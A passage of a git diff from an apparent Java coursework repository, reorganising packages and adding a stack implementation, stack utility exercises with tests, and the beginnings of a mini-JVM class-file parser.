-package dataStruct.com.coderising.download.impl;
+package com.coderising.download.impl;
 
-import dataStruct.com.coderising.download.api.Connection;
-import dataStruct.com.coderising.download.api.ConnectionException;
-import dataStruct.com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
 
 import java.net.HttpURLConnection;
 import java.net.URL;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Action.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/Action.java
similarity index 93%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Action.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/Action.java
index 1c9ad259ad..9248c3eac4 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Action.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/Action.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 
 import java.util.Map;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Configuration.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/Configuration.java
similarity index 63%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Configuration.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/Configuration.java
index c85b40029f..90d8a0c6a1 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Configuration.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/Configuration.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 /**
  * Created by songbao.yang on 2017/3/10.
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/LoginAction.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/LoginAction.java
similarity index 94%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/LoginAction.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/LoginAction.java
index b7789abf28..0d1956992b 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/LoginAction.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/LoginAction.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/ReflectUtils.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/ReflectUtils.java
similarity index 81%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/ReflectUtils.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/ReflectUtils.java
index cb35e59963..c11c5632f3 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/ReflectUtils.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/ReflectUtils.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 import java.lang.reflect.Method;
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Struts.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/Struts.java
similarity index 97%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Struts.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/Struts.java
index 00bc5a446f..1bfbefbbe1 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/Struts.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/Struts.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 import org.dom4j.Document;
 import org.dom4j.DocumentException;
@@ -21,7 +21,7 @@ public class Struts {
     public static View runAction(String actionName, Map<String,String> parameters) {
 
 //        0. 读取配置文件struts.xml
-        Action action = matchAction(parseXml("/struts.xml"), actionName);
+        Action action = matchAction(parseXml("/com/coderising/litestruts/struts.xml"), actionName);
         try {
 
 //            1. 根据actionName找到相对应的class, 通过反射实例化（创建对象）,
diff --git a/group05/578505552/src/test/java/dataStruct/com/coderising/litestruts/StrutsTest.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/StrutsTest.java
similarity index 96%
rename from group05/578505552/src/test/java/dataStruct/com/coderising/litestruts/StrutsTest.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/StrutsTest.java
index bdb0334ae5..972e0e63ca 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coderising/litestruts/StrutsTest.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/StrutsTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 import org.junit.Assert;
 import org.junit.Test;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/View.java b/group05/578505552/dataStruct/src/com/coderising/litestruts/View.java
similarity index 88%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/View.java
rename to group05/578505552/dataStruct/src/com/coderising/litestruts/View.java
index bb6f39e9a9..07df2a5dab 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/litestruts/View.java
+++ b/group05/578505552/dataStruct/src/com/coderising/litestruts/View.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.litestruts;
+package com.coderising.litestruts;
 
 import java.util.Map;
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/BinaryTreeNode.java b/group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNode.java
similarity index 97%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/BinaryTreeNode.java
rename to group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNode.java
index ee0351da07..3a36db4031 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/BinaryTreeNode.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNode.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 /**
  * Created by songbao.yang on 2017/2/21.
diff --git a/group05/578505552/src/test/java/dataStruct/com/coding/basic/BinaryTreeNodeTest.java b/group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNodeTest.java
similarity index 94%
rename from group05/578505552/src/test/java/dataStruct/com/coding/basic/BinaryTreeNodeTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNodeTest.java
index ee7ecd6e36..9bdfaa5afe 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coding/basic/BinaryTreeNodeTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/BinaryTreeNodeTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Iterator.java b/group05/578505552/dataStruct/src/com/coding/basic/Iterator.java
similarity index 78%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/Iterator.java
rename to group05/578505552/dataStruct/src/com/coding/basic/Iterator.java
index 1755e82202..4ac23f28c0 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Iterator.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/Iterator.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 /**
  * Created by songbao.yang on 2017/2/21.
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/List.java b/group05/578505552/dataStruct/src/com/coding/basic/List.java
similarity index 86%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/List.java
rename to group05/578505552/dataStruct/src/com/coding/basic/List.java
index 20d7a6daf9..aadf216958 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/List.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/List.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 /**
  * Created by songbao.yang on 2017/2/21.
diff --git a/group05/578505552/src/test/java/dataStruct/com/coding/basic/ListTest.java b/group05/578505552/dataStruct/src/com/coding/basic/ListTest.java
similarity index 96%
rename from group05/578505552/src/test/java/dataStruct/com/coding/basic/ListTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/ListTest.java
index 9196c37f4c..4962248170 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coding/basic/ListTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/ListTest.java
@@ -1,5 +1,6 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
+import com.coding.basic.linklist.LinkedList;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Queue.java b/group05/578505552/dataStruct/src/com/coding/basic/Queue.java
similarity index 98%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/Queue.java
rename to group05/578505552/dataStruct/src/com/coding/basic/Queue.java
index 2b3a62a5d3..ac5f506eff 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Queue.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/Queue.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 import java.util.NoSuchElementException;
 
diff --git a/group05/578505552/src/test/java/dataStruct/com/coding/basic/QueueTest.java b/group05/578505552/dataStruct/src/com/coding/basic/QueueTest.java
similarity index 97%
rename from group05/578505552/src/test/java/dataStruct/com/coding/basic/QueueTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/QueueTest.java
index 856258a713..9fe34fbd0e 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coding/basic/QueueTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/QueueTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic;
 
 import org.junit.After;
 import org.junit.Assert;
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/ArrayList.java b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayList.java
similarity index 96%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/ArrayList.java
rename to group05/578505552/dataStruct/src/com/coding/basic/array/ArrayList.java
index cdbb1107a0..e7f58cbced 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/ArrayList.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayList.java
@@ -1,4 +1,7 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
 
 import java.util.NoSuchElementException;
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coderising/array/ArrayUtil.java b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtil.java
similarity index 99%
rename from group05/578505552/src/main/java/dataStruct/com/coderising/array/ArrayUtil.java
rename to group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtil.java
index 4a034abf2c..3d70dc8f40 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coderising/array/ArrayUtil.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtil.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.array;
+package com.coding.basic.array;
 
 public class ArrayUtil {
 	
diff --git a/group05/578505552/src/test/java/dataStruct/com/coderising/array/ArrayUtilTest.java b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtilTest.java
similarity index 97%
rename from group05/578505552/src/test/java/dataStruct/com/coderising/array/ArrayUtilTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtilTest.java
index b09f2efcd0..b1bdd59cbd 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coderising/array/ArrayUtilTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/array/ArrayUtilTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coderising.array;
+package com.coding.basic.array;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -13,7 +13,7 @@
  */
 public class ArrayUtilTest {
 
-    private  ArrayUtil arrayUtil;
+    private ArrayUtil arrayUtil;
 
     @Before
     public void setUp() throws Exception {
@@ -202,4 +202,8 @@ private boolean isArrayEqual(int[] expected, int[] actual){
         return true;
     }
 
+    public static void main(String[] args) {
+        System.out.println("----------");
+    }
+
 }
\ No newline at end of file
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/linklist/LRUPageFrame.java b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrame.java
similarity index 97%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/linklist/LRUPageFrame.java
rename to group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrame.java
index cebc4bc739..f7addeedbb 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/linklist/LRUPageFrame.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic.linklist;
+package com.coding.basic.linklist;
 
 /**
  * 用双向链表实现LRU算法
diff --git a/group05/578505552/src/test/java/dataStruct/com/coding/basic/linklist/LRUPageFrameTest.java b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrameTest.java
similarity index 94%
rename from group05/578505552/src/test/java/dataStruct/com/coding/basic/linklist/LRUPageFrameTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrameTest.java
index ffeaa4a747..2127d16eea 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coding/basic/linklist/LRUPageFrameTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic.linklist;
+package com.coding.basic.linklist;
 
 import  org.junit.Assert;
 
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/LinkedList.java b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LinkedList.java
similarity index 99%
rename from group05/578505552/src/main/java/dataStruct/com/coding/basic/LinkedList.java
rename to group05/578505552/dataStruct/src/com/coding/basic/linklist/LinkedList.java
index 9238a5c7a0..7bca51587d 100644
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/LinkedList.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/linklist/LinkedList.java
@@ -1,4 +1,7 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
 
 import java.util.NoSuchElementException;
 
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/Stack.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..33b414baaa
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,77 @@
+package com.coding.basic.stack;
+
+
+import java.util.EmptyStackException;
+
+/**
+ * Created by songbao.yang on 2017/2/22.
+ *
+ */
+public class Stack {
+
+    private Object[] elementData;
+    private static final int MIN_INITIAL_CAPACITY = 10;
+    private int cursor;
+
+    public Stack() {
+        elementData = new Object[MIN_INITIAL_CAPACITY];
+        cursor = -1;
+    }
+
+    public void push(Object o) {
+        ensureCapacity(size() + 1);
+        cursor = cursor + 1;
+        System.out.println(cursor);
+        elementData[cursor] = o;
+    }
+
+    private void ensureCapacity(int minCapacity) {
+        if (minCapacity <= elementData.length) {
+            return;
+        }
+
+        int newSize = elementData.length << 1;
+        if (newSize < elementData.length) {
+            newSize = Integer.MAX_VALUE;
+        }
+
+        Object[] newDataArray = new Object[newSize];
+        System.arraycopy(elementData, 0, newDataArray, 0, size());
+        elementData = newDataArray;
+    }
+
+
+    public Object pop() {
+        Object ele = peek();
+        cursor--;
+        return ele;
+    }
+
+    public Object peek() {
+        if (isEmpty()) {
+            throw new EmptyStackException();
+        }
+        return elementData[this.cursor];
+    }
+
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public int size() {
+        return this.cursor + 1;
+    }
+
+    @Override
+    public String toString() {
+
+        StringBuffer stringBuffer = new StringBuffer();
+        while (!isEmpty()){
+            stringBuffer.append(pop());
+            if (!isEmpty()){
+                stringBuffer.append(',');
+            }
+        }
+        return stringBuffer.toString();
+    }
+}
\ No newline at end of file
diff --git a/group05/578505552/src/test/java/dataStruct/com/coding/basic/StackTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackTest.java
similarity index 85%
rename from group05/578505552/src/test/java/dataStruct/com/coding/basic/StackTest.java
rename to group05/578505552/dataStruct/src/com/coding/basic/stack/StackTest.java
index c58643c31a..92b0a07176 100644
--- a/group05/578505552/src/test/java/dataStruct/com/coding/basic/StackTest.java
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackTest.java
@@ -1,4 +1,4 @@
-package dataStruct.com.coding.basic;
+package com.coding.basic.stack;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -62,4 +62,15 @@ public void size() throws Exception {
 
     }
 
+    @Test
+    public void testToString(){
+
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+
+        System.out.println(stack.toString());
+
+    }
+
 }
\ No newline at end of file
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtil.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..dde9770cab
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,94 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+
+		Stack stack = new Stack();
+		while (!s.isEmpty()){
+			stack.push(s.pop());
+		}
+		s = stack;
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s, Object o) {
+
+		Stack stack = new Stack();
+		while (!s.isEmpty()){
+			Object peek = s.peek();
+			if (peek.equals(o)){
+				s.pop();
+				while (!stack.isEmpty()){
+					s.push(stack.pop());
+				}
+			} else {
+				stack.push(s.pop());
+			}
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s, int len) {
+
+		Object[] topN = new Object[len];
+		Stack stack = new Stack();
+		for (int i = 0; i < len; i++){
+			if (!s.isEmpty()){
+				Object pop = s.pop();
+				topN[i] = pop;
+				stack.push(pop);
+			} else {
+				break;
+			}
+		}
+
+		while (!stack.isEmpty()){
+			s.push(stack.pop());
+		}
+
+		return topN;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+
+		Stack stack = new Stack();
+
+		for (int i = 0; i < s.length(); i++) {
+
+			char c = s.charAt(i);
+			if (c == '{' || c == '[' || c == '('){
+				stack.push(c);
+			}
+
+			if (c == '}' || c == ']' || c == ')'){
+				if (stack.isEmpty() || c != (Character) stack.pop()){
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+}
diff --git a/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtilTest.java b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..f6073b6106
--- /dev/null
+++ b/group05/578505552/dataStruct/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,61 @@
+package com.coding.basic.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * r
+ * Created by songbao.yang on 2017/4/11.
+ */
+public class StackUtilTest {
+
+    StackUtil stackUtil;
+    Stack stack;
+
+    @Before
+    public void setUp() throws Exception {
+        stackUtil  = new StackUtil();
+        stack = new Stack();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+
+    }
+
+    @Test
+    public void reverse() throws Exception {
+
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        stack.push(5);
+
+        StackUtil.reverse(stack);
+
+        String reverse = stack.toString();
+
+        Assert.assertEquals("1,2,3,4,5", reverse);
+    }
+
+    @Test
+    public void remove() throws Exception {
+
+    }
+
+    @Test
+    public void getTop() throws Exception {
+
+    }
+
+    @Test
+    public void isValidPairs() throws Exception {
+
+    }
+
+}
\ No newline at end of file
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/clz/AccessFlag.java b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..67e378085f
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..b68bdb0998
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassIndex.java b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..23d3214e90
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+
+		return thisClassIndex;
+	}
+
+	public void setThisClassIndex(int thisClassIndex) {
+
+		this.thisClassIndex = thisClassIndex;
+	}
+
+	public int getSuperClassIndex() {
+
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int superClassIndex) {
+
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ClassInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..52303f2488
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+
+	public static final Integer UTF8_INFO = 1;
+	public static final Integer INTEGER_INFO = 3;
+	public static final Integer FLOAT_INFO = 4;
+	public static final Integer LONG_INFO = 5;
+	public static final Integer DOUBLE_INFO = 6;
+	public static final Integer CLASS_INFO = 7;
+	public static final Integer STRING_INFO = 8;
+	public static final Integer FIELDREF_INFO = 9;
+	public static final Integer METHODREF_INFO = 10;
+	public static final Integer INTERFACE_METHODREF_INFO = 11;
+	public static final Integer NAMEANDTYPE_INFO = 12;
+	public static final Integer METHODHANDLE_INFO = 15;
+	public static final Integer METHODTYPE_INFO = 16;
+	public static final Integer INVOKEDYNAMIC_INFO = 18;
+
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantPool.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..f94f00426d
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELDREF_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
